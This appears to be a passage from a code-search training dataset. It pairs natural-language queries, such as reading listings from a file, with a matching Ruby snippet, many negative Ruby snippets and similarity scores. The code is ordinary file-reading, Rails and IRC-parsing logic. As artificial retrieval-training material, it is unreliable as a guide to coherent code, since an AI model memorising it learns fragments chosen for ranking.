"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @foto_album = FotoAlbum.find(params[:id])\n @foto_album.destroy\n\n respond_to do |format|\n format.html { redirect_to(foto_albums_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.6787344",
"0.666118",
"0.6406267",
"0.6400847",
"0.6380219",
"0.6380219",
"0.6354462",
"0.6349836",
"0.6324378",
"0.629916",
"0.6294409",
"0.6254232",
"0.62495023",
"0.6228882",
"0.62284726",
"0.62264764",
"0.6221851",
"0.6198549",
"0.61904335",
"0.61827904",
"0.61825156",
"0.61613125",
"0.6161177",
"0.61585295",
"0.6142928",
"0.6138139",
"0.61110127",
"0.6106613",
"0.608565",
"0.60656667",
"0.6058516",
"0.60173756",
"0.60159576",
"0.6005202",
"0.6004884",
"0.600081",
"0.5999598",
"0.5987489",
"0.5982391",
"0.5982186",
"0.597968",
"0.59754246",
"0.5975109",
"0.5967135",
"0.59602493",
"0.59527636",
"0.5945202",
"0.5945137",
"0.59448224",
"0.59404457",
"0.5938516",
"0.59342396",
"0.5928652",
"0.5927811",
"0.59250677",
"0.59229475",
"0.59227055",
"0.59227055",
"0.5922416",
"0.5918948",
"0.59186226",
"0.591719",
"0.5916295",
"0.5914921",
"0.590249",
"0.5884844",
"0.58847094",
"0.58822984",
"0.58821845",
"0.58737123",
"0.58719164",
"0.5870324",
"0.5865935",
"0.58650917",
"0.5861781",
"0.5861516",
"0.58607626",
"0.5860527",
"0.5859488",
"0.585811",
"0.58575726",
"0.58533305",
"0.5852827",
"0.585013",
"0.5849865",
"0.5845075",
"0.5841735",
"0.58409333",
"0.5840301",
"0.5836578",
"0.5832603",
"0.58311456",
"0.5830844",
"0.58299065",
"0.5827856",
"0.58237654",
"0.5821773",
"0.5815791",
"0.58137614",
"0.58106655"
] |
0.61859465
|
19
|
Because I don't have a database, need to read listings from a file
|
def load_resources
Listing
@resources = YAML::load(File.open('listings.yml'))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def readList # read the list file and return an array\n array_list = []\n i = 0\n File.open(\"list.txt\").readlines.each do |line|\n array_list[i] = line\n i += 1\n end\n array_list\nend",
"def load_list filename\n\tlist = []\n\tbegin\n\t\topen filename do |f|\n\t\t\tuntil (line = f.gets).nil?\n\t\t\t\tnext if line.strip.empty?\n\t\t\t\tlist << line.strip\n\t\t\tend\n\t\tend\n\trescue Errno::ENOENT\n\tend\n\tlist\nend",
"def open_list(file)\n f = clean_path_to(file, allow_missing: true)\n if f\n f = File.open(f, 'r')\n elsif File.exist?(\"#{Origen.root}/list/#{File.basename(file)}\")\n f = File.open(\"#{Origen.root}/list/#{File.basename(file)}\", 'r')\n elsif @last_opened_list_dir && File.exist?(\"#{@last_opened_list_dir}/#{file}\")\n f = File.open(\"#{@last_opened_list_dir}/#{file}\", 'r')\n else\n fail \"Could not find list file: #{file}\"\n end\n lines = f.readlines\n f.close\n # Before we go save the directory of this list, this will help\n # us to resolve any relative path references to other lists that\n # it may contain\n @last_opened_list_dir = clean_path_to(Pathname.new(f).dirname)\n lines\n end",
"def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end",
"def readToList( filename )\n\treader = CSV::parse(File.open(filename) {|f| f.read} )\n\treturn reader\nend",
"def read_todos(filename)\n File.readlines(filename)\nend",
"def file_2_list(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\tlist=Array.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tlist.push(line.chomp.strip)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn list\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def parse_list list_path\n list = Hash.new\n #If the file doesn't exist, don't bother right now.\n if !File.exist? list_path\n return list\n end\n\n file = File.new list_path\n file.readlines.each do\n |app|\n bin, uses = app.split /\\s+/\n list[bin] = uses.to_i\n end\n file.close\n\n return list\nend",
"def readFromDB\n File.open('db.txt', 'r+') do |file|\n file.readlines\n end\nend",
"def index(file) \n\n file = File.open(file, \"r\")\n tasks = file.readlines\n file.close\n\n return tasks\n\nend",
"def fetch_produce_items\r\n all_items = read_table('SRCFILE')\r\n included_ids = File.readlines(File.join('data', 'included.txt')).map(&:chomp)\r\n\r\n @items = all_items.select do |i|\r\n included_ids.include?(i.id)\r\n end\r\nend",
"def read_from_file(filename = \"listsave\")\n\t\tIO.readlines(filename).each do |line|\n\t\t\tadd_task(Task.new(line.chomp))\n\t\tend\n\tend",
"def list\n @list ||= PublicSuffix::List::parse(File.new(list_path, \"r:utf-8\"))\n end",
"def load_genre_list()\n File.open('./genre_list')\nend",
"def loadlist _file, _append\n send_cmd(\"loadlist #{_file} #{_append}\")\n end",
"def list\n file_correct?(@file_path)\n file = File.open(@file_path)\n file.map { |row| row.split(' ') }\n end",
"def parse_list(path, files)\n list_name = path.basename\n dir = path.dirname\n line_number = 0\n path.open('r') do |f|\n while (line = f.gets)\n line_number += 1\n # Strip the leading and trailing whitespace for sloppy typers\n line.strip!\n # Skip a blank line\n next if line.match(/^\\s+$/)\n # Check if the pattern or list exists\n line_path = Pathname.new(\"#{dir}/#{line}\")\n unless line_path.file?\n # puts \"Skipping #{line_path.to_s} at line ##{line_number} in file #{path.to_s} because it is not a file\"\n next\n end\n # Process the file\n process_file(line_path, files)\n end\n end\n end",
"def read(files); end",
"def read(files); end",
"def read_file pn\n pn.readlines.map(&:chomp)\n .each do |line|\n @entries.add line, pn\n end\n end",
"def inputlisttest\n puts \"============== \\n\"\n puts \"Results:\"\n\n File.open('assetlist.txt') do |searchlist|\n searchlist.each_line do |searchquery|\n\n puts \"Asset: \" + searchquery\n assetname = searchquery.downcase.chomp\n\n Dir.foreach('./jsons/') do |item|\n next if item == '.' or item == '..'\n\n #it doesn't appear to treat 'item' as a file object it is a just a string of the filename..\n obj = JSON.parse(File.read('./jsons/' + item))\n description = obj[0][\"_source\"][\"description\"]\n\n if description.downcase.include? assetname\n puts item\n puts obj[0][\"_source\"][\"title\"]\n puts \"\\n\"\n end\n\n end\n end\n end\n\n puts \"=============\"\n\n end",
"def check_list_file(file, outlist)\n unless File.exists?(file)\n raise \"Can't find file \\\"#{opts.input}\\\"\"\n end\n File.open(file, \"r\").each_line do |line|\n unless line.nil?\n outlist << line.chomp\n end\n end\nend",
"def all\n setup_file\n \n links_data = File.open('link_db.txt').read\n links = JSON.parse(links_data)\n return links\nend",
"def file_list\n end",
"def all\n setup_file\n \n links_data = File.open('link_db.txt').read\n links = JSON.parse(links_data)\n \n return links\nend",
"def parse\r\n\t\tCSV.foreach(self.filepath) {|row| @list << row}\r\n\t\t@list.flatten!\r\n\tend",
"def mysql_lines\n File.open(file_name, \"r\") do |line|\n #File.open('./lib/databasers/fibered_files_output.txt') do |line|\n line.each do |x|\n puts \"('\" + \"#{x.strip}\" + \"')\"\n end\n end\n end",
"def read_file\n\t\t\treturn 'wordlists/reverse_ip.txt'\n\t\tend",
"def get_items(filename)\n reading_item = false\n item = 0\n feed_items = []\n\n # pull out the items\n File.open(filename, 'r') do |feed|\n while line = feed.gets\n unless (line =~ /<item /).nil?\n reading_item = true\n feed_items[item] = line\n next\n end\n if reading_item\n feed_items[item] += line\n unless (line =~ /<\\/item>/).nil?\n reading_item = false\n item += 1\n end\n end\n end\n end\n feed_items\nend",
"def import(libfile, lib)\r\n\t#open the text file containing the booklist from the library\r\n\tf = File.open(libfile)\r\n\t#parse the incoming lines into arrays of data\r\n\twhile line = f.gets do\r\n\t\tparsed_line = line.split('*')\r\n\t\tadd_book(parsed_line, lib)\r\n\tend\r\n\tf.close\r\nend",
"def list_contents!\n if storage_exists?\n list_contents\n else\n raise IOError, \"No banned words file!\"\n end\n end",
"def read_list\n return nil if @crl_list_file.nil?\n\n data = read_data(@crl_list_file)\n\n data.each_line do |line|\n line.chomp!\n serial, revoke_time, reason = line.split(',', 3)\n serial = serial.to_i\n reason = (reason == '') ? nil : reason.to_i\n revoke_time = (revoke_time == '') ? nil : revoke_time.to_i\n yield serial, reason, revoke_time\n end\n nil\n end",
"def numbers_list\n numbers = File.open(\"numbers.txt\") do |file|\n while line = file.gets\n @number_list << line\n end\n end\n end",
"def read_feeds(fname)\r\n File.foreach(fname) {|line| process_feed(line.split(',')[0], line.split(',')[1], line.split(',')[2], line.split(',')[3])}\r\n end",
"def fetchIDs\n\n\tFile.open(ARGV[0].to_s, \"r\") do |file|\n\n\t\t\n\t\tbook = Hash.new\n\n\t\tfile.each_line do |line|\n\n\t\t\tcontainer = Array.new\n\n\t\t\tif line.include? \"Name\"\n\n\t\t\t\tcontainer = line.split(\";\")\n\t\t\t\tcontainer.map { |e| book[\"#{e.gsub!(\"Name=\", \"\")}\"] = line if e.include? \"Name=\" } \n\n\t\t\telse\n\t\t\t\tnext\n\t\t\tend\t\n\t\tend\n\n\t\t#puts book.inspect\n\t\tfile_write(\"Helicoverpa.out\", book)\n\tend\t\t\nend",
"def load_used_phrases\n\t@used_phrases = load_collection_from_file(@phrase_file_name, {});\nend",
"def parse_file\n File.open(\"FoodDB.txt\", \"r\") do |f|\n f.each_line do |line|\n line.chomp!\n command = line.split(\",\")\n name = command[0]\n type = command[1]\n info = command[2]\n #switches on type\n case type\n when \"b\"\n addFood(name, info)\n when \"r\"\n length = command.length-1\n ingredients = command[2..length]\n addRecipe(name,ingredients)\n end\n end\n end\n end",
"def list_repositories(file)\n repository_text = file.read\n int, varchar, function = self.int, self.varchar, self.function\n fields = [int, varchar, varchar, function, function]\n record_re = /#{'\\\\((' + fields.join( '),(' ) + ')\\\\)'}/\n results = []\n repository_text.scan(record_re) do |id_match, abbreviation_match, short_description_match, created_at_match, updated_at_match|\n id = Integer(id_match)\n abbreviation = abbreviation_match[1..-2]\n short_description = short_description_match[1..-2]\n created_at = created_at_match\n updated_at = updated_at_match\n #puts id_match, abbreviation_match, short_description_match, created_at_match, updated_at_match\n results << [id, abbreviation, short_description, created_at, updated_at]\n end\n results\n end",
"def get_lines(filename); end",
"def read_from_file(filename) # Input existing file\n IO.readlines(filename).each do |line|\n status, *description = line.split(':')\n status = status.upcase.include?('X')\n add(Task.new(description.join(':').strip, status))\n puts line\n end # End of input, output\n end",
"def get_user_ids(fname=\"../id_list\")\n file = File.open(fname, \"r\")\n ids = []\n file.each do |line|\n ids += [Integer(line.split(\":\")[1].strip())]\n end\n file.close() \n return ids\nend",
"def get_file_list(sequence_type,site_name)\n\n case sequence_type\n when 'asm'\n ftp_url = \"#{FTP_BASE_URLS['asm']}/#{site_name}/\"\n\n # get a file list from the FTP directory listing\n LOG.info \"Checking file list on FTP server at #{ftp_url} ...\"\n curl_res = `curl -l --progress-bar #{ftp_url}`\n print \"\\n\"\n\n file_list = curl_res.split(/\\n/).map { |f| \"#{ftp_url}#{f}\" }\n when 'rrna'\n require 'csv'\n ftp_url = \"#{FTP_BASE_URLS['rrna']}/\"\n\n # parse sample IDs from TSV sample ID map\n # linked from http://hmpdacc.org/micro_analysis/microbiome_analyses.php\n sample_ids_url = \"#{CONF_DIR}/ppAll_V35_map.txt\"\n file_list = CSV.new(File.open(sample_ids_url), { :headers => :first_row, :col_sep => \"\\t\" })\n .select { |line| line[-3] == site_name.capitalize && line[5] != 'Unavailable' }\n .map { |line| \"#{ftp_url}#{line[7]}.fsa.gz\" }\n .sort\n .uniq\n else\n raise \"Unknown sequence type '#{sequence_type}' requested.\"\n end\n\n file_list\n\nend",
"def list\n items = storage.items\n if items.empty?\n puts 'No items in the list.'\n return\n end\n\n storage.items.each do |(id, data)|\n puts \"#{id} #{data[:stamp]} #{data[:source].ljust(48)}\"\n end\n end",
"def GenerateListFromFile(fileName)\n\tf = File.open(fileName, \"r\")\n\titems = []\n\t\n\tf.each_line do |item|\n\t\titems.push(item.strip)\n\tend\n\t\n\treturn items\nend",
"def readFile()\n\t#This is assuming the file name will be used\n\tfilename = 'names-data.txt'\n\topen(filename, 'r') {|f| f.read}\nend",
"def LoadFile ()\n\t\n\tinput = \"\"\n\tFile.foreach(\"../Data Files/042-Words.txt\") {|x| input = x }\n\tnames = input.split(\",\")\n\t\n\treturn names;\nend",
"def get_file_load_list\n json_file_path = File.join(SDESK_ROOT_PATH, 'configs', 'file_list.json')\n json_data = load_json_file json_file_path\n return [] unless json_data\n\n flist_arr = []\n json_data.each_pair do |dir_name, file_h|\n file_h.each_pair do |fname, queue_id|\n flist_arr << [File.join(dir_name, fname+'.rb'), queue_id]\n end\n end\n flist_arr.sort_by!{|arr| arr.last}\n flist_arr.map(&:first)\n end",
"def load_list(key, file)\n f = File.new( file )\n counter = process_lines(f) do |redis,line|\n redis.lpush( key , line.chomp)\n end\n return counter \n end",
"def read_from_file(filename)\n\t\tIO.readlines(filename).each{ |line|\n\t\t\t*description, status = line.split(':')\n\t\t\tstatus = status.include?('X')\n\t\t\tadd(Task.new(description.join(':').strip, status))\n\t\t}\n\tend",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def read(owners)\n lines = []\n File.open(@file_name, \"a+\").read.each_line do |line|\n if TodoParser.is_task?(line)\n task = TodoParser.parse_one(line, owners)\n lines << { \"local\" => task }\n else\n lines << line\n end\n end\n lines\n end",
"def read_files\r\n @prefixes = IO.read('prefixes.txt').split(' ')\r\n @syllables = IO.read('syllables.txt').split(' ')\r\n @postfixes = IO.read('postfixes.txt').split(' ')\r\n end",
"def read_from_file\n commands = []\n File.readlines(@location).each { |line| commands << line.strip }\n commands\n end",
"def is_a_list?(file)\n !!(file =~ /list$/)\n end",
"def browse\n\t\t@listings = Listings.find(:all)\n\tend",
"def initialize( list )\r\n case list\r\n when String\r\n source = list && File.exist?( list ) ? File.readlines( list ) : list.lines\r\n when Array \r\n source = list\r\n else\r\n abort \"List can be given as a file name, String or Array. The class of the currently used list '#{list}' is: #{list.class}.\"\r\n end\r\n raw = source.map(&:chomp).select { |line| line if !line.match(/^\\s*$/) }\r\n @list = step raw\r\n end",
"def ReadFromFile()\n wordArray = Array.new\n File.open(\"mastermindWordList.txt\", \"r\") do |file| # Uncomment this to have a larger list (466000+ words)\n # Note: Only use if in original repository that contains words.txt\n # File.open(\"mastermindWordList.txt\", \"r\") do |file| # Comment this if previous line is uncommented\n file.each_line do |word|\n if CheckValidWord(word) == true\n wordArray.push(word.chomp.downcase)\n end\n end\n end\n return wordArray\nend",
"def file2items(file, marking, eliding=/^\\s*$/)\n items = []\n File.open(file, \"r\") do |f|\n item = []\n f.each do |line|\n if marking.match(line)\n items << item unless item.empty?\n item = []\n #p line\n end\n item << line unless eliding.match(line)\n end\n items << item \n end\n end",
"def parse_list; end",
"def parse_list; end",
"def read(entry); end",
"def load_file(f)\n\t\tdata = []\n f.each do |line| \n user_id, movie_id, rating, timestamp = line.split(\"\\t\")\n data.push({\"user_id\"=> user_id.to_i, \"movie_id\"=>movie_id.to_i,\"rating\"=> rating.to_i,\"timestamp\"=>timestamp.to_i})\n\t\tend\n\t\treturn data\n\tend",
"def load_file(f)\n @list_link = []\n YAML.load_file(f).each { |e|\n link = Link.new e[0], e[1]\n link.exclude = e[2] if e.size > 2\n @list_link << link\n }\n check_possibility\n @list_link_copy = Array.new @list_link\n end",
"def load_database(filename)\n \n handle = File.open(filename)\n uncompressed = Zlib::GzipReader.new(handle)\n records = DnaIO.new(uncompressed)\n records.to_a\nend",
"def create_dict(file)\n # Since wordlist is constant\n if File.file?(file)\n IO.readlines(file, chomp: true)\n else\n puts 'File not found!'\n end\n end",
"def parse_file_data\n current_category = nil\n todo_lines = []\n File.open(@config_file) {|fl| todo_lines = fl.readlines() }\n line_count = 0\n todo_lines.each do |todo_line|\n todo_line.strip!.chomp!\n next if todo_line.nil? or todo_line.empty?\n case todo_line\n when /^\\*{1}\\ (.+)?/\n current_category = $1\n line_count = 0\n @todo_container[current_category] ||= []\n when /^(\\*{2,})\\ TODO\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => true, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category] << item\n when /^(\\*{2,})\\ DONE\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => false, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category].push(item)\n end\n end\n end",
"def read\n\t\t@file_content = File.open(\"/home/calin/football/football.dat\",\"r\")\n\tend",
"def parse_list(user, listfile)\n #match only first found line, there should be no duplicates; also, case insensitive SHOULD be ok.\n line=File.readlines(listfile).select { |line| line =~ /#{user}/i }[0]\n val=line.split(':')\n return val[6].strip, val[1], val[2].strip, home \nend",
"def load_data(file_name)\n\t\tindata = []\n\t\t#csv reader as shown in class; typecasted because I ran into some weird bugs\n\t\tCSV.foreach(\"#{file_name}\", col_sep: \"\\t\") do |row| \n\t\t\tindata.push({\"user_id\"=>row[0].to_i, \"movie_id\"=>row[1].to_i, \"rating\" => row[2].to_i, \"timestamp\" => row[3].to_i})\n\t\tend\n\t\treturn indata\n\tend",
"def read_collection\n @@book_class = []\n lines = File.readlines('collection.txt')\n lines.each do| line |\n line_parts = line.split('/')\n @id = id+1\n title = line_parts[0].chomp\n author = line_parts[1].chomp\n @due_date = due_date = nil.to_i\n @@book_class << Book.new(id, title, author, due_date) #class implementation\n end\n end",
"def get_all()\n return JSON.parse(File.read(@database_file))\n \n # error handling\n rescue Errno::ENOENT\n File.open(@database_file, 'w+')\n File.write(@database_file, [])\n retry\n end",
"def read_by_filename(filename)\n result = find_by_filename(filename)\n \n if result.count > 1\n result.map! { |r| read(r['_id']) }\n else\n result.blank? ? [] : [read(result.first['_id'])]\n end\n end",
"def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend",
"def fetch_listings(format=nil)\n result = nil\n raw = fetch_raw(format)\n case self.format\n when 'xml'\n # parse xml raw\n result = XmlSimple.xml_in raw, { 'ForceArray' => false, 'AttrPrefix' => true }\n when 'json'\n result = JSON.parse(raw)\n end\n result = raw unless result\n result\n end",
"def read_inv x\n File.readlines('inventory.txt')[x]\nend",
"def load1\nf = File.read(@filename)\nf.each_line do |line|\nif line.match('#undone')\n@pending << line\nelse\n@completed << line\nend\nend\nreturn @pending\nend",
"def load_file_contents(filename)\n File.open(filename).readlines\n end",
"def url_grabber()\nFile.open('urls.txt').readlines.each do |url|\n @file_url.push(url)\nend\n\n# @file_url.each do |f_url|\n# puts \"This is one of the urls we read in from the file: \" + f_url.to_s\n# end\n\nend",
"def initialize(filepath)\r\n\t\t@filepath = filepath\r\n\t\t@list = []\r\n\tend",
"def load_workouts(file)\n workout_num = 0\n exercise_num = 0\n workout_list = []\n \n File.foreach(file) { |line| \n if line =~ /^Start Time: (\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}).[0-9]* +|-\\d*$/ then\n workout_num += 1\n exercise_num = -1\n workout_list << Workout.new.start_time=($1)\n elsif line =~ /^\\s*Exercise name: (\\w*\\D+\\s*\\w*) Exercise Type: (\\w+)$/ then\n exercise_num += 1\n exercise = Exercise.new()\n exercise.exercise_name = $1\n exercise.exercise_type = $2\n workout_list[workout_num] << exercise\n end\n }\n \n workout_list #return created workoutlist \n end",
"def file_list\n @file_list\n end",
"def load_all_from_files\n\t\tload_hash_from_file($searched, $progDir+'searched.txt')\n\t\tload_hash_from_file($downloaded, $progDir+'downloaded.txt')\n\t\tload_array_from_file($toSearch, $progDir+'toSearch.txt')\n\t\tload_array_from_file($toDownload, $progDir+'toDownload.txt')\n\trescue => e\n\t\t$error.save_error_to_file(__method__, e, $specialErrorTxt)\n\tend",
"def read file\n File.open file\n end",
"def read_files(file_path)\n\tlist=Dir.entries(file_path)\n\treturn list\nend",
"def get_records (f)\n fh = File.open(f, 'r');\n i = 0;\n fh.each_line do |line|\n i += 1;\n line.strip!\n yield i, line;\n end\n fh.close();\n end",
"def read_taskwarrior_file(file)\n tasks = []\n open(file).each_line do |l|\n l = l.encode('UTF-8', :invalid => :replace, :undef => :replace, :replace => 'X')\n t = l.scan( /\\w+:\".+?\"/ ).collect{|i| \n k, v = i.split(':', 2)\n [k.to_sym, v.gsub(/\\A\"|\"\\Z/,'')] \n } \n t = Hash[t]\n t[:tags] = t[:tags].strip.split(\",\") if t[:tags]\n t[:entry] = t[:entry].to_i\n t[:end] = t[:end].to_i if t[:end]\n tasks << t\n end if File.file? file\n tasks\n end",
"def cmd_list(file_spec)\n cmd_listing_impl(file_spec, 'format_list_entry')\n end",
"def load_db\n basic_foods = {} # store BasicFood objects\n recipes = {} # store Recipe objects\n File.readlines('FoodDB.txt').each do |line|\n line = line.chomp.split(\",\")\n if line[1] == \"b\"\n basic_food = BasicFood.new(line[0], line[2])\n basic_foods[basic_food.name] = basic_food\n elsif line[1] == \"r\"\n recipe = Recipe.new(line[0], line[2..line.size])\n recipes[recipe.name] = recipe\n end\n end\n [basic_foods, recipes]\n end",
"def read_in\n File.foreach(file_name).map(&:chomp)\n end",
"def list\n @file_list.to_a\n end",
"def parse_file\n filename = full_path_from_edict_file(@config[\"filename\"])\n ### Get all the line into memory\n file_obj = File.new(filename, \"r\")\n file_obj.each do |line|\n @added_lines.push line\n end\n end",
"def read_feeds(fname, locale, offset)\r\n File.foreach(fname) {|line| xml_feed_entries(line, locale, offset)}\r\n end",
"def get_publishers\n File.readlines('publishers.data').each do |line|\n line = line.chomp\n Publisher.create(name: line)\n end\nend",
"def get_publishers\n File.readlines('publishers.data').each do |line|\n line = line.chomp\n Publisher.create(name: line)\n end\nend",
"def get_stopword_list\n list = []\n \n begin\n File.open(\"stopwords.txt\", \"r\") do |file|\n file.each_line { |line| list.push( line.chomp ) }\n end\n rescue\n puts \"The file 'stopwords.txt' was not found.\"\n exit\n end\n\n return list\nend",
"def cmd_list(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n param = '' if param.to_s == '-a'\n\n dir = File.join(@name_prefix.to_s, param.to_s)\n\n now = Time.now\n\n items = list_dir(build_path(param))\n lines = items.map do |item|\n \"#{item.directory ? 'd' : '-'}#{item.permissions || 'rwxrwxrwx'} 1 #{item.owner || 'owner'} #{item.group || 'group'} #{item.size || 0} #{(item.time || now).strftime(\"%b %d %H:%M\")} #{item.name}\"\n end\n send_outofband_data(lines)\n # send_action_not_taken\n end",
"def get_next_list_entry!\n begin \n # Read out every line of list file\n # into an array\n full_file = []\n File.open(@list_file, 'r') do |file|\n while _line = file.gets\n unless _line == '' || _line.start_with?('#')\n full_file << _line.sub(/\\n/, '')\n end\n end\n end\n # If the array is not empty, shift the first\n # entry into an output variable and save the\n # shifted array in the file by overwriting.\n # Then, return the output variable\n if !full_file.empty?\n _out = full_file.shift.split('|')\n File.open(@list_file, 'w') do |file|\n full_file.each { |ln| \n file.puts ln \n }\n end\n return _out\n end\n return nil\n rescue Exception => e\n puts \"[FATAL ERROR] in 'DavidGetter#get_next_list_entry': #{e}\"\n exit\n end\n end",
"def go_through_all_the_lines(url)\n list = CSV.read(url)\nend",
"def read_all(&block); end",
"def create_list\n car_set = @car_make\n File.open(@file).each do |word|\n car_set.add(word.to_s.strip)\n end\n end"
] |
[
"0.6520914",
"0.6483409",
"0.6466084",
"0.64653945",
"0.6465354",
"0.63598293",
"0.6344077",
"0.6321655",
"0.62903386",
"0.62736374",
"0.62287223",
"0.6196735",
"0.6188961",
"0.61673975",
"0.6163015",
"0.61499304",
"0.61460894",
"0.6123204",
"0.6123204",
"0.60856074",
"0.60774666",
"0.60403496",
"0.60098946",
"0.6002875",
"0.59550977",
"0.59510595",
"0.5946253",
"0.59351784",
"0.59250355",
"0.5922448",
"0.58842856",
"0.5861551",
"0.585102",
"0.5842357",
"0.5824033",
"0.58038235",
"0.5803202",
"0.5792734",
"0.57821417",
"0.57678777",
"0.576453",
"0.5757961",
"0.574943",
"0.5745787",
"0.574364",
"0.57382697",
"0.573114",
"0.57263017",
"0.57246447",
"0.5720523",
"0.5712148",
"0.5700901",
"0.5688636",
"0.5684428",
"0.56811994",
"0.5660741",
"0.56303483",
"0.5616551",
"0.56087637",
"0.56087637",
"0.55992055",
"0.55821085",
"0.557724",
"0.55750585",
"0.5573812",
"0.55675733",
"0.55606925",
"0.55543435",
"0.55523163",
"0.5547661",
"0.55449224",
"0.5541124",
"0.5520425",
"0.55181783",
"0.55111027",
"0.55100733",
"0.5504492",
"0.54943806",
"0.54942",
"0.5490266",
"0.54896307",
"0.54831827",
"0.5481631",
"0.547235",
"0.54660463",
"0.546446",
"0.5461188",
"0.5459614",
"0.54508543",
"0.54479903",
"0.5442623",
"0.54335797",
"0.54330975",
"0.54330975",
"0.54300964",
"0.54259235",
"0.54209316",
"0.54069483",
"0.5402015",
"0.539511"
] |
0.5468776
|
84
|
Look up a matching handler for the line and process it The process method on a handler always returns a Contexts object
|
def parse_line line, contexts
line = line.encode Encoding::UTF_8 if encode_lines?
handler = handler_for_line line
handler.process line, contexts
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def handle(line)\n parsed = parse(line)\n return unless parsed\n\n handle_parsed(parsed)\n end",
"def process_line(line)\n if (@custom_processor && @custom_processor.class.method_defined?(:process_line))\n @custom_processor.process_line line\n else\n line.split ' '\n end\n end",
"def process_line(lineno, tokens)\n if (tag_line = TAGS[@parse_state.state]) == nil\n raise \"In unknown state (#{@parse_state.state})\"\n elsif (tag_spec = tag_line[ tokens.index ]) == nil\n if tokens.tag[0,1] == \"_\" || @parse_state.state == :user_subtag\n print \"Unknown tag #{tokens}. \"\n tokens.user_tag \n pp \"Converted to #{tokens}\"\n process_line(lineno, tokens)\n else\n raise \"Tag ([#{tokens.tag},#{tokens.xref}]) not valid in this state (#{@parse_state.state})\"\n end\n elsif tag_spec[CHILD_RECORD] != nil #don't push nil states, as these represent terminals\n #Run the handler for this line.\n @transmission.action_handler lineno, tokens, *tag_spec\n #switch to new state\n @parse_state << tag_spec[CHILD_RECORD]\n else \n #Run the handler for this line.\n @transmission.action_handler lineno, tokens, *tag_spec\n end\n \n end",
"def process_line(line)\n command_match, arg_string, captures, args = tokenize(line)\n\n check_for_command_collision(command_match, arg_string) if Pry.config.collision_warning\n\n self.arg_string = arg_string\n self.captures = captures\n\n call_safely(*(captures + args))\n end",
"def process_input(line)\n case line\n when /^:((.+?)(?:!.+?)?) INVITE \\S+ :(\\S+)/i\n handle :incoming_invite, $1, $2, $3\n when /^:((.+?)(?:!.+?)?) PRIVMSG (\\S+) :?\\001ACTION (.+?)\\001$/i\n handle :incoming_act, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) PRIVMSG (\\S+?) :?\\001(.+?)\\001$/i\n handle :incoming_ctcp, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) PRIVMSG (\\S+?) :?(.+?)$/i\n handle :incoming_msg, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) NOTICE (\\S+?) :?\\001(.+?)\\001$/i\n handle :incoming_ctcpreply, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) NOTICE (\\S+?) :?(.+?)$/i\n handle :incoming_notice, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) MODE (\\S+?) :?(\\S+?)(?: (.+?))?$/i\n handle :incoming_mode, $1, $2, $3, $4, $5\n when /^:((.+?)(?:!.+?)?) JOIN :?(\\S+?)$/i\n handle :incoming_join, $1, $2, $3\n when /^:((.+?)(?:!.+?)?) PART (\\S+?)(?: :?(\\S+?)?)?$/i\n handle :incoming_part, $1, $2, $3, $4\n when /^:((.+?)(?:!.+?)?) KICK (\\S+?) (\\S+?) :?(.+?)$/i\n handle :incoming_kick, $1, $2, $3, $4, $5\n when /^:((.+?)(?:!.+?)?) QUIT :?(.+?)$/i\n handle :incoming_quit, $1, $2, $3\n when /^:((.+?)(?:!.+?)?) NICK :?(\\S+?)$/i\n handle :incoming_nick, $1, $2, $3\n when /^PING :?(.+?)$/i\n handle :incoming_ping, $1\n when /^:((.+?)(?:!.+?)?) (\\d{3})\\s+(\\S+?) (.+?)$/i\n handle_numeric($3.to_i, $1, $2, $4, $5)\n else\n handle :incoming_miscellany, line\n end\n end",
